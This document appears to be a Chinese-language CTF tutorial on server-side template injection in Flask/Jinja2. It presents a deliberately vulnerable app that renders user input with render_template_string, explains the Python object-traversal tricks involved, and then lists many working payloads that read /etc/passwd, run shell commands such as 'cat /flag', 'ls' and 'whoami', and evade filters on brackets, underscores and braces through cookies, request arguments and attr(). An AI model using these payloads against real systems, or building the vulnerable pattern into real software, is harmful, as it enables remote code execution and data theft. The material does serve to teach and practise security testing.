SSTI基础知识
我们用如下环境进行讲解(flask-jinja2):
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/')
def index():
code = request.args.get('id')
template = '''
<h3>%s</h3>
'''%(code)
return render_template_string(template)
if __name__ == '__main__':
app.run()
关于利用payload时python知识讲解
先介绍一个python的魔术属性__class__,
![](https://img2022.cnblogs.com/blog/2727822/202210/2727822-20221002161943229-1111029910.png)
可以看到我们的单引号属于str类,这里我们也可以换成其他的。
可以看到我们的元组类、字典类、列表类。
下面介绍另一个魔术属性__bases__
__bases__:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的 元组 (虽然只有一个元素)。
![](https://img2022.cnblogs.com/blog/2727822/202210/2727822-20221002162606847-894325460.png)
当然获取基类还能用 __mro__ 方法,__mro__ 方法可以用来获取一个类的调用顺序,比如
因为返回的都是元组形式,所以我们要用下标来定位我们的object类。
下面介绍魔术属性__subclasses__()
__subclasses__():查看当前类的子类组成的列表,即返回基类object的子类。
![](https://img2022.cnblogs.com/blog/2727822/202210/2727822-20221002162907367-997910626.png)
可以看到有好多的类,但是我们要寻找我们需要使用的类(自己积累),比如有文件读取函数的类,<class '_frozen_importlib_external.FileLoader'>要注意我这里时p3的环境,和p2环境有区别,不过都是同样的思路,然后我们自己写脚本来获取我们利用类的下标,比如我这里这个类的下标时99。这个东西不同环境是不一样的,所以你不能只是照抄别人的payload。找到类了,如何寻找我们的方法呢,
下面介绍魔术属性__dict__
__dict__:返回这个类中已经定义了的属性和方法
![](https://img2022.cnblogs.com/blog/2727822/202210/2727822-20221002170156073-772756894.png)
在这里面可以看到我们的get_data函数。(补充:利用__doc__魔术方法可以查看函数的信息)
所以payload如下''.__class__.__mro__[1].__subclasses__()[99].__dict__['get_data'](0,'/etc/passwd')注意函数参数要用小括号。
这里补充一点我自己的经验,我们找到了这个类<class '_frozen_importlib_external.FileLoader'>,再往下究竟如何找函数呢,我先是找到了_frozen_importlib_external这个py库的源码,然后找到了下面的FileLoader类,去里面找函数,如下图演示。
上面是介绍的如何读取到我们想要的文件,我们下面介绍一下经常使用的payload。比如命令执行。
关于__builtins__
__builtins__: 即时引用,在程序还为执行代码的时候就已经加载进来了。此模块并不需要导入,可以在任何模块中执行引用。内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。
用法示例:这里可以利用eval函数
![](https://img2022.cnblogs.com/blog/2727822/202210/2727822-20221003000232858-1681617349.png)
或者 __builtins__.__dict__['__import__']('os').system('whoami')
关于__globals__
__globals__:使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
示例:
name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
//132 === <class 'os._wrap_close'>
关于url_for
url_for:flask的一个方法,可以用于得到__builtins__
利用:url_for.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
下面总结一下几个含有eval函数的类:
- warnings.catch_warnings
- WarningMessage
- codecs.IncrementalEncoder
- codecs.IncrementalDecoder
- codecs.StreamReaderWriter
- os._wrap_close
- reprlib.Repr
- weakref.finalize
- etc.
- site._Printer
示例:''.__class__.__mro__[2].__subclasses__()['site._Printer'].__init__.__globals__['os'].popen('ls').read()
补充:标红的填下标。
做题总结:
1.寻找配置信息一般利用{{config}}
2.读取文件
3.任意代码执行
4.在3的基础上env
{{x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
2.利用request.args.x1
{{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
3.利用request.cookies.x1
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
or
{{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}#过滤了中括号
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
4.过滤了下划线
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
5.不能使用{{}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{%endfor %}
6.
{%set a=x|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')%}{%print(a.eval('__import__("os").popen("ls").read()'))%}